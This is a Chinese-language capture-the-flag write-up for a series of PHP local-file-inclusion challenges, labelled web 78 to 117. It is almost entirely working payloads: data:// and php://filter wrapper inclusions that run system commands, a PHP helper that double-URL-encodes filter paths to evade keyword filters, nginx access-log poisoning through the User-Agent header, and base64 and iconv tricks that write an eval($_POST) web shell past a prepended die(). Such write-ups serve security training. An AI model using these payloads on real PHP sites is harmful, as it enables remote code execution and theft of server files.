目录
- web 78
- web 79
- web 80
- web 81
- web 82-86(环境暂时做不了)
- web 87
- web 88
- web 116
- web 117
web 78
data://text/plain,<?php system("cat flag.php");?>
php://filter/convert.base64-encode/resource=flag.php
web 79
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system(‘cat flag.php’);
web 80
包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log
我们抓个包就可以知道它的服务类型为nginx
然后在user-agent写shell
web 81
同上
web 82-86(环境暂时做不了)
web 87
因为它对php,:,data进行了过滤,并进行了url解码
我们可以对php://filter/write=convert.base64-decode/resource=1.php(把内容写进1.php)进行url二次编码
exp,这个只是第一次url编码然后只要在编码网站再编码一次就行了
<?php
$b='';
$a='php://filter/write=convert.base64-decode/resource=1.php';
$c='%';
for($i=0;$i<strlen($a);$i++)
{$b=$b.$c.bin2hex($a[$i]);
}
echo $b;
?>
content可以对<?php eval($_POST[1]);?>进行base64编码,再在前面加个aa,因为base64是以4个字节为一组而前面的phpdie还差两个字节。
只有ASCII码值为43,45-47,65-90,97-122时,才有base64_reverse_table[ch]>=0,对应字符为 +, / , 09,az,A~Z,其余字符都会被跳过
如本题的 <?php die("大佬别秀了");?> 在base64_decode处理的时候可视为phpdie,
web 88
这次构造要注意,要构造一个末尾没有加号或等于号
file=data://text/plain;base64,PD9waHAgaGlnaGxpZ2h0X2ZpbGUoIi4vZmwwZy5waHAiKTsgPz4xYXM
web 116
用010分离出图片
然后再分离
file=compress.zlib:///var/www/html/flag.php
web 117
file=php://filter/write=convert.iconv.ucs-2le.ucs-2be/resource=a.php
contents=?<hp pvela$(P_SO[T]1;)>?
//<?php eval($_POST[1]);?>进入a.php,webshell